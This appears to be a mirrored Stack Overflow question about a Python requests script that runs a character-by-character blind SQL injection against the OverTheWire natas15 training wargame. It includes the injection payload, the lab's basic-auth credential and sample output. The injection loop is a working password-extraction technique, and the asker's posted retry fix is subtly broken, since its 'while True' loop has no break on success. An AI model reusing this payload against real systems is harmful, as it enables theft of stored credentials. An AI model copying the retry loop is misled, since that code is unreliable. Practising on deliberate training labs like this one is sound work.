简体   繁体   中英

post in requests module dont work without exception(python)

in natas15 you must do a sql blind injection

for test i run this code to find first letter of password

import requests
from requests.auth import HTTPBasicAuth

chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'

for char in chars:
    Data = {'username': 'natas16" and password LIKE BINARY "' + char + '%" #'}
    r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                      auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data)
    print('i test:' + char)
    if 'exists' in r.text:
        print('i find: ' + char)

but it does not work it do not show any error but i find the where error come from it come from post request

here some output:

i test:a
i test:b
i test:c
i test:d
i test:a
i test:b
i test:c
i test:d
i test:e
i test:f
i test:g
i test:h
i test:i
i test:j
i test:k
i test:l
i test:m
i test:n
i test:o

(its stop working randomly)

EDIT i thinks its my internet connection how fix that (if its cant connect try again)

after read a lot of documents i find it

i replace r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug', auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2) to

        while True:
            try:
                r = requests.post('http://natas15.natas.labs.overthewire.org/index.php?debug',
                                  auth=HTTPBasicAuth('natas15', 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'), data=Data, timeout=2)
            except requests.exceptions.Timeout as err:
                print('trying again!')
                continue

if it cant get response after 2 second print 'trying again!' and try again!

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM